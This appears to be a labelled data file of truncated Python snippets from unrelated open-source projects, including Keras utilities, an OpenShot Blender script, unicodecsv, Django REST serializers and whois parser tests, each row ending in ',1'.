(A.G.O.Y)\n'\ ' $\\rotatebox{11}{\sffamily 4~cm}$ A 11 - 12.7 deg 4.1\n'\ ' $\\rotatebox{86}{\sffamily 3~cm}$ G 86 - 8.9 deg 4.9\n'\ ' $\\rotatebox{23}{\sffamily 2~cm}$ O 203 - 12.2 deg 4.2\n'\ ' $\\rotatebox{83}{\sffamily 6.5~cm}$ Y 263 - 12.9 deg 4.1\n'\ ' $\\rotatebox{47.3}{\sffamily 64\\textdegree}$ A 47.3 deg 2.7\n'\ ' $\\rotatebox{-41.3}{\sffamily 128\\textdegree}$ G 138.7 deg 2.7\n'\ ' $\\rotatebox{54.3}{\sffamily 32\\textdegree}$ O 234.3 deg 2.7\n'\ ' $\\rotatebox{322.7}{\sffamily 256\\textdegree}$ Y 322.7 deg 2.7\n'\ ' ""A"" A 227.3 deg, font(""sffamily"")\n'\ ' ""G"" G 318.7 deg, font(""sffamily"")\n'\ ' ""O"" O 54.3 deg, font(""sffamily"")\n'\ ' ""Y"" Y 142.7 deg, font(""sffamily"")\n'\ 'end\n\n'\ 'label\n'\ ' G, A, Y simple\n'\ ' O, G, A simple\n'\ ' Y, O, G simple\n'\ ' A, Y, O simple\n'\ 'end\n' ",1 "arvesterPackageInfo def main(): oparser = argparse.ArgumentParser(prog='prescript', add_help=True) oparser.add_argument('-f', '--local_info_file', action='store', dest='local_info_file', help='path of harvester local info file') if len(sys.argv) == 1: print('No argument or flag specified. Did nothing') sys.exit(0) args = oparser.parse_args(sys.argv[1:]) local_info_file = os.path.normpath(args.local_info_file) hpi = harvesterPackageInfo(local_info_file=local_info_file) if hpi.package_changed: print('Harvester package changed') #TODO pass hpi.renew_local_info() else: print('Harvester package unchanged. Skipped') if __name__ == '__main__': main() ",1 ", 9, 4) __version__ = ""."".join(map(str, VERSION)) pass_throughs = [ 'register_dialect', 'unregister_dialect', 'get_dialect', 'list_dialects', 'field_size_limit', 'Dialect', 'excel', 'excel_tab', 'Sniffer', 'QUOTE_ALL', 'QUOTE_MINIMAL', 'QUOTE_NONNUMERIC', 'QUOTE_NONE', 'Error' ] __all__ = [ 'reader', 'writer', 'DictReader', 'DictWriter', ] + pass_throughs for prop in pass_throughs: globals()[prop] = getattr(csv, prop) def _stringify(s, encoding, errors): if s is None: return '' if isinstance(s, unicode): return s.encode(encoding, errors) elif isinstance(s, (int, float)): pass # let csv.QUOTE_NONNUMERIC do its thing. elif not isinstance(s, str): s = str(s) return s def _stringify_list(l, encoding, errors='strict'): try: return [_stringify(s, encoding, errors) for s in iter(l)] except TypeError, e: raise csv.Error(str(e)) def _unicodify(s, encoding): if s is None: return None if isinstance(s, (unicode, int, float)): return s elif isinstance(s, str): return s.decode(encoding) return s class UnicodeWriter(object): """""" >>> import unicodecsv >>> from cStringIO import StringIO >>> f = StringIO() >>> w = unicodecsv.writer(f, encoding='utf-8') >>> w.writerow((u'é', u'ñ')) >>> f.seek(0) >>> r = unicodecsv.reader(f, encoding='utf-8') >>> row = r.next() >>> row[0] == u'é' True >>> row[1] == u'ñ' True """""" def __init__(self, f, dialect=csv.excel, encoding='utf-8', errors='strict', *args, **kwds): self.encoding = encoding self.writer = csv.writer(f, dialect, *args, **kwds) self.encoding_errors = errors def writerow(self, row): self.writer.writerow( _stringify_list(row, self.encoding, self.encoding_errors)) def writerows(self, rows): for row in rows: self.writerow(row) @property def dialect(self): return self.writer.dialect writer = UnicodeWriter class UnicodeReader(object): def __init__(self, f, dialect=None, encoding='utf-8', errors='strict', **kwds): format_params = ['delimiter', 'doublequote', 'escapechar', 'lineterminator', 'quotechar', 'quoting', 'skipinitialspace'] if dialect is None: if not any([kwd_name in format_params for kwd_name in kwds.keys()]): dialect = csv.excel self.reader = csv.reader(f, dialect, **kwds) self.encoding = encoding self.encoding_errors = errors def next(self): row = self.reader.next() encoding = self.encoding encoding_errors = self.encoding_errors float_ = float unicode_ = unicode try: val = [(value if isinstance(value, float_) else unicode_(value, encoding, encoding_errors)) for value in row] except UnicodeDecodeError as e: # attempt a different encoding... encoding = 'ISO-8859-1' val = [(value if isinstance(value, float_) else unicode_(value, encoding, encoding_errors)) for value in row] return val def __iter__(self): return self @property def dialect(self): return self.reader.dialect @property def line_num(self): return self.reader.line_num reader = UnicodeReader class DictWriter(csv.DictWriter): """""" >>> from cStringIO import StringIO >>> f = StringIO() >>> w = DictWriter(f, ['a', u'ñ', 'b'], restval=u'î') >>> w.writerow({'a':'1', u'ñ':'2'}) >>> w.writerow({'a':'1', u'ñ':'2', 'b':u'ø'}) >>> w.writerow({'a':u'é', u'ñ':'2'}) >>> f.seek(0) >>> r = DictReader(f, fieldnames=['a', u'ñ'], restkey='r') >>> r.next() == {'a': u'1', u'ñ':'2', 'r': [u'î']} True >>> r.next() == {'a': u'1', u'ñ':'2', 'r': [u'\xc3\xb8']} True >>> r.next() == {'a': u'\xc3\xa9', u'ñ':'2', 'r': [u'\xc3\xae']} True """""" def __init__(self, csvfile, fieldnames, restval='', extrasaction='raise', dialect='excel', encoding='utf-8', errors='strict', *args, **kwds): self.encoding = encoding csv.DictWriter.__init__( self, csvfile, fieldnames, restval, extrasaction, dialect, *args, **kwds) self.writer = UnicodeWriter( csvfile, dialect, encoding=encoding, errors=errors, *args, **kwds) self.encoding_errors = errors def writeheader(self): fieldnames = _stringify_list( self.fieldnames, self.encoding, self.encoding_errors) header = dict(zip(self.fieldnames, self.fieldnames)) self.writerow(header) class DictReader(csv.DictReader): """""" >>> from cStringIO import StringIO >>> f = StringIO() >>> w = DictWriter(f, fieldnames=['name', 'place']) >>> w.writerow({'name': 'Cary Grant', 'place': 'hollywood'}) >>> w.writerow({'name': 'Nathan Brillstone', 'place': u'øLand'}) >>> w.writerow({'name': u'Willam ø. Unicoder', 'place': u'éSpandland'}) >>> f.seek(0) >>> r = DictReader(f, fieldnames=['name', 'place']) >>> print r.next() == {'name': 'Cary Grant', 'place': 'hollywood'} True >>> print r.next() == {'name': 'Nathan Brillstone', 'place': u'øLand'} True >>> print r.next() == {'name': u'Willam ø. Unicoder', 'place': u'éSpandland'} True """""" def __init__(self, csvfile, fieldnames=None, restkey=None, restval=None, dialect='excel', encoding='utf-8', errors='strict', *args, **kwds): if fieldnames is not None: fieldnames = _stringify_list(fieldnames, encoding) csv.DictReader.__init__( self, csvfile, fieldnames, restkey, restval, dialect, *args, **kwds) self.reader = UnicodeReader(csvfile, dialect, encoding=encoding, errors=errors, *args, **kwds) if fieldnames is None and not hasattr(csv.DictReader, 'fieldnames'): # Python 2.5 fieldnames workaround. # (http://bugs.python.org/issue3436) reader = UnicodeReader( csvfile, dialect, encoding=encoding, *args, **kwds) self.fieldnames = _stringify_list(reader.next(), reader.encoding) self.unicode_fieldnames = [_unicodify(f, encoding) for f in self.fieldnames] self.unicode_restkey = _unicodify(restkey, encoding) def next(self): row = csv.DictReader.next(self) result = dict((uni_key, row[str_key]) for (str_key, uni_key) in izip(self.fieldnames, self.unicode_fieldnames)) rest = row.get(self.restkey) if rest: result[self.unicode_restkey] = rest return result ",1 "on bug where relative imports don't work if the module is imported as a main module. import __init__ import sys __author__ = 'Enrique Perez (perez_enrique@yahoo.com)' __credits__ = 'Art of Illusion ' __date__ = '$Date: 2008/02/05 $' __license__ = 'GNU Affero General Public License http://www.gnu.org/licenses/agpl.html' def _getAccessibleAttribute(attributeName): 'Get the accessible attribute.' if attributeName in globalAccessibleAttributeDictionary: return globalAccessibleAttributeDictionary[attributeName] return None def continuous(valueString): 'Print continuous.' sys.stdout.write(str(valueString)) return valueString def line(valueString): 'Print line.' print(valueString) return valueString globalAccessibleAttributeDictionary = {'continuous' : continuous, 'line' : line} ",1 "/status_available # # and regenerate the tests with the following script # # $ scripts/generate_tests.py # from nose.tools import * from dateutil.parser import parse as time_parse import yawhois class TestWhoisNicPwStatusAvailable(object): def setUp(self): fixture_path = ""spec/fixtures/responses/whois.nic.pw/status_available.txt"" host = ""whois.nic.pw"" part = yawhois.record.Part(open(fixture_path, ""r"").read(), host) self.record = yawhois.record.Record(None, [part]) def test_status(self): eq_(self.record.status, []) def test_available(self): eq_(self.record.available, True) def test_domain(self): eq_(self.record.domain, None) def test_nameservers(self): eq_(self.record.nameservers.__class__.__name__, 'list') eq_(self.record.nameservers, []) def test_admin_contacts(self): eq_(self.record.admin_contacts.__class__.__name__, 'list') eq_(self.record.admin_contacts, []) def test_registered(self): eq_(self.record.registered, False) def test_created_on(self): eq_(self.record.created_on, None) def test_registrar(self): eq_(self.record.registrar, None) def test_registrant_contacts(self): eq_(self.record.registrant_contacts.__class__.__name__, 'list') eq_(self.record.registrant_contacts, []) def test_technical_contacts(self): eq_(self.record.technical_contacts.__class__.__name__, 'list') eq_(self.record.technical_contacts, []) def test_updated_on(self): eq_(self.record.updated_on, None) def test_domain_id(self): eq_(self.record.domain_id, None) def test_expires_on(self): eq_(self.record.expires_on, None) def test_disclaimer(self): eq_(self.record.disclaimer, None) ",1 "penShot Video Editor (http://launchpad.net/openshot/). # # OpenShot Video Editor is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # OpenShot Video Editor is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with OpenShot Video Editor. If not, see . # Import Blender's python API. This only works when the script is being # run from the context of Blender. Blender contains it's own version of Python # with this library pre-installed. import bpy # Load a font def load_font(font_path): """""" Load a new TTF font into Blender, and return the font object """""" # get the original list of fonts (before we add a new one) original_fonts = bpy.data.fonts.keys() # load new font bpy.ops.font.open(filepath=font_path) # get the new list of fonts (after we added a new one) for font_name in bpy.data.fonts.keys(): if font_name not in original_fonts: return bpy.data.fonts[font_name] # no new font was added return None # Debug Info: # ./blender -b test.blend -P demo.py # -b = background mode # -P = run a Python script within the context of the project file # Init all of the variables needed by this script. Because Blender executes # this script, OpenShot will inject a dictionary of the required parameters # before this script is executed. params = { 'title' : 'Oh Yeah! OpenShot!', 'extrude' : 0.1, 'bevel_depth' : 0.02, 'spacemode' : 'CENTER', 'text_size' : 1.5, 'width' : 1.0, 'fontname' : 'Bfont', 'color' : [0.8,0.8,0.8], 'alpha' : 1.0, 'alpha_mode' : 'TRANSPARENT', 'output_path' : '/tmp/', 'fps' : 24, 'quality' : 90, 'file_format' : 'PNG', 'color_mode' : 'RGBA', 'horizon_color' : [0.57, 0.57, 0.57], 'resolution_x' : 1920, 'resolution_y' : 1080, 'resolution_percentage' : 100, 'start_frame' : 20, 'end_frame' : 25, 'animation' : True, } #INJECT_PARAMS_HERE # The remainder of this script will modify the current Blender .blend project # file, and adjust the settings. The .blend file is specified in the XML file # that defines this template in OpenShot. #---------------------------------------------------------------------------- # Modify Text / Curve settings #print (bpy.data.curves.keys()) text_object = bpy.data.curves[""Title""] text_object.extrude = params[""extrude""] text_object.bevel_depth = params[""bevel_depth""] text_object.body = params[""title""] text_object.align = params[""spacemode""] text_object.size = params[""text_size""] text_object.space_character = params[""width""] # Get font object font = None if params[""fontname""] != ""Bfont"": # Add font so it's available to Blender font = load_font(params[""fontname""]) else: # Get default font font = bpy.data.fonts[""Bfont""] text_object.font = font text_object = bpy.data.curves[""Subtitle""] text_object.extrude = params[""extrude""] text_object.bevel_depth = params[""bevel_depth""] text_object.body = params[""sub_title""] text_object.align = params[""spacemode""] text_object.size = params[""text_size""] text_object.space_character = params[""width""] # set the font text_object.font = font # Change the material settings (color, alpha, etc...) material_object = bpy.data.materials[""Text""] material_object.diffuse_color = params[""diffuse_color""] material_object.specular_color = params[""specular_color""] material_object.specular_intensity = params[""specular_intensity""] material_object.alpha = params[""alpha""] # Set the render options. It is important that these are set # to the same values as the current OpenShot project. These # params are automatically set by OpenShot bpy.context.scene.render.filepath = params[""output_path""] bpy.context.scene.render.fps = params[""fps""] #bpy.context.scene.render.quality = params[""quality""] try: bpy.context.scene.render.file_format = params[""file_format""] bpy.context.scene.render.color_mode = params[""color_mode""] except: bpy.context.scene.render.image_settings.file_format = params[""file_format""] bpy.context.scene.render.image_settings.color_mode = params[""color_mode""] try: bpy.context.scene.render.alpha_mode = params[""alpha_mode""] except: pass bpy.data.worlds[0].horizon_color = params[""horizon_color""] bpy.context.scene.render.resolution_x = params[""resolution_x""] bpy.context.scene.render.resolution_y = params[""resolution_y""] bpy.context.scene.render.resolution_percentage = params[""resolution_percentage""] bpy.context.scene.frame_start = params[""start_frame""] bpy.context.scene.frame_end = params[""end_frame""] # Animation Speed (use Blender's time remapping to slow or speed up animation) animation_speed = int(params[""animation_speed""]) # time remapping multiplier new_length = int(params[""end_frame""]) * animation_speed # new length (in frames) bpy.context.scene.frame_end = new_length bpy.context.scene.render.frame_map_old = 1 bpy.context.scene.render.frame_map_new = animation_speed if params[""start_frame""] == params[""end_frame""]: bpy.context.scene.frame_start = params[""end_frame""] bpy.context.scene.frame_end = params[""end_frame""] # Render the current animation to the params[""output_path""] folder bpy.ops.render.render(animation=params[""animation""]) ",1 "is file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """"""Python utilities required by Keras."""""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import binascii import codecs import marshal import os import re import sys import time import types as python_types import numpy as np import six from tensorflow.python.util import nest from tensorflow.python.util import tf_decorator from tensorflow.python.util import tf_inspect from tensorflow.python.util.tf_export import keras_export _GLOBAL_CUSTOM_OBJECTS = {} @keras_export('keras.utils.CustomObjectScope') class CustomObjectScope(object): """"""Provides a scope that changes to `_GLOBAL_CUSTOM_OBJECTS` cannot escape. Code within a `with` statement will be able to access custom objects by name. Changes to global custom objects persist within the enclosing `with` statement. At end of the `with` statement, global custom objects are reverted to state at beginning of the `with` statement. Example: Consider a custom object `MyObject` (e.g. a class): ```python with CustomObjectScope({'MyObject':MyObject}): layer = Dense(..., kernel_regularizer='MyObject') # save, load, etc. will recognize custom object by name ``` """""" def __init__(self, *args): self.custom_objects = args self.backup = None def __enter__(self): self.backup = _GLOBAL_CUSTOM_OBJECTS.copy() for objects in self.custom_objects: _GLOBAL_CUSTOM_OBJECTS.update(objects) return self def __exit__(self, *args, **kwargs): _GLOBAL_CUSTOM_OBJECTS.clear() _GLOBAL_CUSTOM_OBJECTS.update(self.backup) @keras_export('keras.utils.custom_object_scope') def custom_object_scope(*args): """"""Provides a scope that changes to `_GLOBAL_CUSTOM_OBJECTS` cannot escape. Convenience wrapper for `CustomObjectScope`. Code within a `with` statement will be able to access custom objects by name. Changes to global custom objects persist within the enclosing `with` statement. At end of the `with` statement, global custom objects are reverted to state at beginning of the `with` statement. Example: Consider a custom object `MyObject` ```python with custom_object_scope({'MyObject':MyObject}): layer = Dense(..., kernel_regularizer='MyObject') # save, load, etc. will recognize custom object by name ``` Arguments: *args: Variable length list of dictionaries of name, class pairs to add to custom objects. Returns: Object of type `CustomObjectScope`. """""" return CustomObjectScope(*args) @keras_export('keras.utils.get_custom_objects') def get_custom_objects(): """"""Retrieves a live reference to the global dictionary of custom objects. Updating and clearing custom objects using `custom_object_scope` is preferred, but `get_custom_objects` can be used to directly access `_GLOBAL_CUSTOM_OBJECTS`. Example: ```python get_custom_objects().clear() get_custom_objects()['MyObject'] = MyObject ``` Returns: Global dictionary of names to classes (`_GLOBAL_CUSTOM_OBJECTS`). """""" return _GLOBAL_CUSTOM_OBJECTS def serialize_keras_class_and_config(cls_name, cls_config): """"""Returns the serialization of the class with the given config."""""" return {'class_name': cls_name, 'config': cls_config} @keras_export('keras.utils.serialize_keras_object') def serialize_keras_object(instance): _, instance = tf_decorator.unwrap(instance) if instance is None: return None if hasattr(instance, 'get_config'): return serialize_keras_class_and_config(instance.__class__.__name__, instance.get_config()) if hasattr(instance, '__name__'): return instance.__name__ raise ValueError('Cannot serialize', instance) def class_and_config_for_serialized_keras_object( config, module_objects=None, custom_objects=None, printable_module_name='object'): """"""Returns the class name and config for a serialized keras object."""""" if (not isinstance(config, dict) or 'class_name' not in config or 'config' not in config): raise ValueError('Improper config format: ' + str(config)) class_name = config['class_name'] if custom_objects and class_name in custom_objects: cls = custom_objects[class_name] elif class_name in _GLOBAL_CUSTOM_OBJECTS: cls = _GLOBAL_CUSTOM_OBJECTS[class_name] else: module_objects = module_objects or {} cls = module_objects.get(class_name) if cls is None: raise ValueError('Unknown ' + printable_module_name + ': ' + class_name) return (cls, config['config']) @keras_export('keras.utils.deserialize_keras_object') def deserialize_keras_object(identifier, module_objects=None, custom_objects=None, printable_module_name='object'): if identifier is None: return None if isinstance(identifier, dict): # In this case we are dealing with a Keras config dictionary. config = identifier (cls, cls_config) = class_and_config_for_serialized_keras_object( config, module_objects, custom_objects, printable_module_name) if hasattr(cls, 'from_config'): arg_spec = tf_inspect.getfullargspec(cls.from_config) custom_objects = custom_objects or {} if 'custom_objects' in arg_spec.args: return cls.from_config( cls_config, custom_objects=dict( list(_GLOBAL_CUSTOM_OBJECTS.items()) + list(custom_objects.items()))) with CustomObjectScope(custom_objects): return cls.from_config(cls_config) else: # Then `cls` may be a function returning a class. # in this case by convention `config` holds # the kwargs of the function. custom_objects = custom_objects or {} with CustomObjectScope(custom_objects): return cls(**cls_config) elif isinstance(identifier, six.string_types): object_name = identifier if custom_objects and object_name in custom_objects: obj = custom_objects.get(object_name) elif object_name in _GLOBAL_CUSTOM_OBJECTS: obj = _GLOBAL_CUSTOM_OBJECTS[object_name] else: obj = module_objects.get(object_name) if obj is None: raise ValueError('Unknown ' + printable_module_name + ':' + object_name) # Classes passed by name are instantiated with no args, functions are # returned as-is. if tf_inspect.isclass(obj): return obj() return obj else: raise ValueError('Could not interpret serialized ' + printable_module_name + ': ' + identifier) def func_dump(func): """"""Serializes a user defined function. Arguments: func: the function to serialize. Returns: A tuple `(code, defaults, closure)`. """""" if os.name == 'nt': raw_code = marshal.dumps(func.__code__).replace(b'\\', b'/') code = codecs.encode(raw_code, 'base64').decode('ascii') else: raw_code = marshal.dumps(func.__code__) code = codecs.encode(raw_code, 'base64').decode('ascii') defaults = func.__defaults__ if func.__closure__: closure = tuple(c.cell_contents for c in func.__closure__) else: closure = None return code, defaults, closure def func_load(code, defaults=None, closure=None, globs=None): """"""Deserializes a user defined function. Arguments: code: bytecode of the function. defaults: defaults of the function. closure: closure of the function. globs: dictionary of global objects. Returns: A function object. """""" if isinstance(code, (tuple, list)): # unpack previous dump code, defaults, closure = code if isinstance(defaults, list): defaults = tuple(defaults) def ensure_value_to_cell(value): """"""Ensures that a value is converted to a python cell object. Arguments: value: Any value that needs to be casted to the cell type Returns: A value wrapped as a cell object (see function ""func_load"") """""" def dummy_fn(): # pylint: disable=pointless-statement value # just access it so it gets captured in .__closure__ cell_value = dummy_fn.__closure__[0] if not isinstance(value, type(cell_value)): return cell_value return value if closure is not None: closure = tuple(ensure_value_to_cell(_) for _ in closure) try: raw_code = codecs.decode(code.encode('ascii'), 'base64') except (UnicodeEncodeError, binascii.Error): raw_code = code.encode('raw_unicode_escape') code = marshal.loads(raw_code) if globs is None: globs = globals() return python_types.FunctionType( code, globs, name=code.co_name, argdefs=defaults, closure=closure) def has_arg(fn, name, accept_all=False): """"""Checks if a callable accepts a given keyword argument. Arguments: fn: Callable to inspect. name: Check if `fn` can be called with `name` as a keyword argument. accept_all: What to return if there is no parameter called `name` but the function accepts a `**kwargs` argument. Returns: bool, whether `fn` accepts a `name` keyword argument. """""" arg_spec = tf_inspect.getfullargspec(fn) if accept_all and arg_spec.varkw is not None: return True return name in arg_spec.args @keras_export('keras.utils.Progbar') class Progbar(object): """"""Displays a progress bar. Arguments: target: Total number of steps expected, None if unknown. width: Progress bar width on screen. verbose: Verbosity mode, 0 (silent), 1 (verbose), 2 (semi-verbose) stateful_metrics: Iterable of string names of metrics that should *not* be averaged over time. Metrics in this list will be displayed as-is. All others will be averaged by the progbar before display. interval: Minimum visual progress update interval (in seconds). unit_name: Display name for step counts (usually ""step"" or ""sample""). """""" def __init__(self, target, width=30, verbose=1, interval=0.05, stateful_metrics=None, unit_name='step'): self.target = target self.width = width self.verbose = verbose self.interval = interval self.unit_name = unit_name if stateful_metrics: self.stateful_metrics = set(stateful_metrics) else: self.stateful_metrics = set() self._dynamic_display = ((hasattr(sys.stdout, 'isatty') and sys.stdout.isatty()) or 'ipykernel' in sys.modules or 'posix' in sys.modules) self._total_width = 0 self._seen_so_far = 0 # We use a dict + list to avoid garbage collection # issues found in OrderedDict self._values = {} self._values_order = [] self._start = time.time() self._last_update = 0 def update(self, current, values=None): """"""Updates the progress bar. Arguments: current: Index of current step. values: List of tuples: `(name, value_for_last_step)`. If `name` is in `stateful_metrics`, `value_for_last_step` will be displayed as-is. Else, an average of the metric over time will be displayed. """""" values = values or [] for k, v in values: if k not in self._values_order: self._values_order.append(k) if k not in self.stateful_metrics: if k not in self._values: self._values[k] = [v * (current - self._seen_so_far), current - self._seen_so_far] else: self._values[k][0] += v * (current - self._seen_so_far) self._values[k][1] += (current - self._seen_so_far) else: # Stateful metrics output a numeric value. This representation # means ""take an average from a single value"" but keeps the # numeric formatting. self._values[k] = [v, 1] self._seen_so_far = current now = time.time() info = ' - %.0fs' % (now - self._start) if self.verbose == 1: if (now - self._last_update < self.interval and self.target is not None and current < self.target): return prev_total_width = self._total_width if self._dynamic_display: sys.stdout.write('\b' * prev_total_width) sys.stdout.write('\r') else: sys.stdout.write('\n') if self.target is not None: numdigits = int(np.log10(self.target)) + 1 bar = ('%' + str(numdigits) + 'd/%d [') % (current, self.target) prog = float(current) / self.target prog_width = int(self.width * prog) if prog_width > 0: bar += ('=' * (prog_width - 1)) if current < self.target: bar += '>' else: bar += '=' bar += ('.' * (self.width - prog_width)) bar += ']' else: bar = '%7d/Unknown' % current self._total_width = len(bar) sys.stdout.write(bar) if current: time_per_unit = (now - self._start) / current else: time_per_unit = 0 if self.target is not None and current < self.target: eta = time_per_unit * (self.target - current) if eta > 3600: eta_format = '%d:%02d:%02d' % (eta // 3600, (eta % 3600) // 60, eta % 60) elif eta > 60: eta_format = '%d:%02d' % (eta // 60, eta % 60) else: eta_format = '%ds' % eta info = ' - ETA: %s' % eta_format else: if time_per_unit >= 1 or time_per_unit == 0: info += ' %.0fs/%s' % (time_per_unit, self.unit_name) elif time_per_unit >= 1e-3: info += ' %.0fms/%s' % (time_per_unit * 1e3, self.unit_name) else: info += ' %.0fus/%s' % (time_per_unit * 1e6, self.unit_name) for k in self._values_order: info += ' - %s:' % k if isinstance(self._values[k], list): avg = np.mean(self._values[k][0] / max(1, self._values[k][1])) if abs(avg) > 1e-3: info += ' %.4f' % avg else: info += ' %.4e' % avg else: info += ' %s' % self._values[k] self._total_width += len(info) if prev_total_width > self._total_width: info += (' ' * (prev_total_width - self._total_width)) if self.target is not None and current >= self.target: info += '\n' sys.stdout.write(info) sys.stdout.flush() elif self.verbose == 2: if self.target is not None and current >= self.target: numdigits = int(np.log10(self.target)) + 1 count = ('%' + str(numdigits) + 'd/%d') % (current, self.target) info = count + info for k in self._values_order: info += ' - %s:' % k avg = np.mean(self._values[k][0] / max(1, self._values[k][1])) if avg > 1e-3: info += ' %.4f' % avg else: info += ' %.4e' % avg info += '\n' sys.stdout.write(info) sys.stdout.flush() self._last_update = now def add(self, n, values=None): self.update(self._seen_so_far + n, values) def make_batches(size, batch_size): """"""Returns a list of batch indices (tuples of indices). Arguments: size: Integer, total size of the data to slice into batches. batch_size: Integer, batch size. Returns: A list of tuples of array indices. """""" num_batches = int(np.ceil(size / float(batch_size))) return [(i * batch_size, min(size, (i + 1) * batch_size)) for i in range(0, num_batches)] def slice_arrays(arrays, start=None, stop=None): """"""Slice an array or list of arrays. This takes an array-like, or a list of array-likes, and outputs: - arrays[start:stop] if `arrays` is an array-like - [x[start:stop] for x in arrays] if `arrays` is a list Can also work on list/array of indices: `slice_arrays(x, indices)` Arguments: arrays: Single array or list of arrays. start: can be an integer index (start index) or a list/array of indices stop: integer (stop index); should be None if `start` was a list. Returns: A slice of the array(s). Raises: ValueError: If the value of start is a list and stop is not None. """""" if arrays is None: return [None] if isinstance(start, list) and stop is not None: raise ValueError('The stop argument has to be None if the value of start ' 'is a list.') elif isinstance(arrays, list): if hasattr(start, '__len__'): # hdf5 datasets only support list objects as indices if hasattr(start, 'shape'): start = start.tolist() return [None if x is None else x[start] for x in arrays] return [ None if x is None else None if not hasattr(x, '__getitem__') else x[start:stop] for x in arrays ] else: if hasattr(start, '__len__'): if hasattr(start, 'shape'): start = start.tolist() return arrays[start] if hasattr(start, '__getitem__'): return arrays[start:stop] return [None] def to_list(x): """"""Normalizes a list/tensor into a list. If a tensor is passed, we return a list of size 1 containing the tensor. Arguments: x: target object to be normalized. Returns: A list. """""" if isinstance(x, list): return x return [x] def object_list_uid(object_list): """"""Creates a single string from object ids."""""" object_list = nest.flatten(object_list) return ', '.join([str(abs(id(x))) for x in object_list]) def to_snake_case(name): intermediate = re.sub('(.)([A-Z][a-z0-9]+)', r'\1_\2', name) insecure = re.sub('([a-z])([A-Z])', r'\1_\2', intermediate).lower() # If the class is private the name starts with ""_"" which is not secure # for creating scopes. We prefix the name with ""private"" in this case. if insecure[0] != '_': return insecure return 'private' + insecure def is_all_none(structure): iterable = nest.flatten(structure) # We cannot use Python's `any` because the iterable may return Tensors. for element in iterable: if element is not None: return False return True def check_for_unexpected_keys(name, input_dict, expected_values): unknown = set(input_dict.keys()).difference(expected_values) if unknown: raise ValueError('Unknown entries in {} dictionary: {}. Only expected ' 'following keys: {}'.format(name, list(unknown), expected_values)) def validate_kwargs(kwargs, allowed_kwargs, error_message='Keyword argument not understood:'): """"""Checks that all keyword arguments are in the set of allowed keys."""""" for kwarg in kwargs: if kwarg not in allowed_kwargs: raise TypeError(error_message, kwarg) ",1 "rt User, Permission #import external modules from rest_framework import serializers #import project modules from core.models import (Product, ProductCategory, UnitOfMeasurement, UOMCategory, CompanyCategory, Company, Currency, Rate, Contact, Address, EmployeeCategory, Employee, ProductPresentation, ModeOfAdministration, ProductItem, ProductFormulation) class UserSerializer(serializers.ModelSerializer): """""" REST API serializer for User model """""" class Meta: model = User class BaseModelSerializer(serializers.ModelSerializer): """""" Base Model Serializer for models """""" created_by = UserSerializer(required=False, read_only=True) modified_by = UserSerializer(required=False, read_only=True) class ProductCategorySerializer(BaseModelSerializer): """""" REST API Serializer for ProductCategory model """""" class Meta: model = ProductCategory class ProductSerializer(BaseModelSerializer): """""" REST API Serializer for Product models """""" class Meta: model = Product class UOMCategorySerializer(BaseModelSerializer): """""" REST API Serializer for UOMCategory model """""" class Meta: model = UOMCategory class UnitOfMeasurementSerializer(BaseModelSerializer): """""" REST API Serializer for UnitOfMeasurement model """""" class Meta: model = UnitOfMeasurement class CompanyCategorySerializer(BaseModelSerializer): """""" REST API serializer for CompanyCategory model """""" class Meta: model = CompanyCategory class CompanySerializer(BaseModelSerializer): """""" REST API serializer for Company model """""" class Meta: model = Company class CurrencySerializer(BaseModelSerializer): """""" REST API serializer for Currency model """""" class Meta: model = Currency fields = ('code', 'name', 'symbol', 'symbol_position', 'rates',) class RateSerializer(BaseModelSerializer): """""" REST API serializer for Rate model """""" class Meta: model = Rate class ContactSerializer(BaseModelSerializer): """""" REST API serializer for Contact model """""" class Meta: model = Contact class AddressSerializer(BaseModelSerializer): """""" REST API serializer for Address model """""" class Meta: model = Address class EmployeeCategorySerializer(BaseModelSerializer): """""" REST API serializer for EmployeeCategory """""" class Meta: model = EmployeeCategory class EmployeeSerializer(BaseModelSerializer): """""" REST API serializer for Employee """""" class Meta: model = Employee class PermissionSerializer(BaseModelSerializer): """""" REST API serializer for Permission model """""" class Meta: model = Permission class ProductPresentationSerializer(BaseModelSerializer): """""" REST API serializer for ProductPresentation model """""" class Meta: model = ProductPresentation class ModeOfAdministrationSerializer(BaseModelSerializer): """""" REST API serializer for ModeOfAdministration model """""" class Meta: model = ModeOfAdministration class ProductItemSerializer(BaseModelSerializer): """""" REST API serializer for ProductItem model """""" class Meta: model = ProductItem class ProductFormulationSerializer(BaseModelSerializer): """""" REST API serializer for ProductFormulation model, it can be Lyophilized, Liquid or Not Applicable """""" class Meta: model = ProductFormulation ",1 "ker() img = cam.getImage() roi = ROI(img.width*0.45,img.height*0.45,img.width*0.1,img.height*0.1,img) tct.train(cam,roi=roi,maxFrames=250,pkWndw=20) # Matplot Lib example plotting plotc = {'r':'r','g':'g','b':'b','i':'m','h':'y'} for key in tct.data.keys(): plt.plot(tct.data[key],plotc[key]) for pt in tct.peaks[key]: plt.plot(pt[0],pt[1],'r*') for pt in tct.valleys[key]: plt.plot(pt[0],pt[1],'b*') plt.grid() plt.show() disp = Display((800,600)) while disp.isNotDone(): img = cam.getImage() result = tct.recognize(img) plt.plot(tct._rtData,'r-') plt.grid() plt.savefig('temp.png') plt.clf() plotImg = Image('temp.png') roi = ROI(img.width*0.45,img.height*0.45,img.width*0.1,img.height*0.1,img) roi.draw(width=3) img.drawText(str(result),20,20,color=Color.RED,fontsize=32) img = img.applyLayers() img = img.blit(plotImg.resize(w=img.width,h=img.height),pos=(0,0),alpha=0.5) img.save(disp) ",1 "schema.list(schema.bool) with when: res = represent(sch) with then: assert res == ""schema.list(schema.bool)"" def test_list_of_values_representation(): with given: sch = schema.list(schema.int(1)) with when: res = represent(sch) with then: assert res == ""schema.list(schema.int(1))"" def test_list_of_repr_values_representation(): with given: sch = schema.list(schema.str(""banana"")) with when: res = represent(sch) with then: assert res == 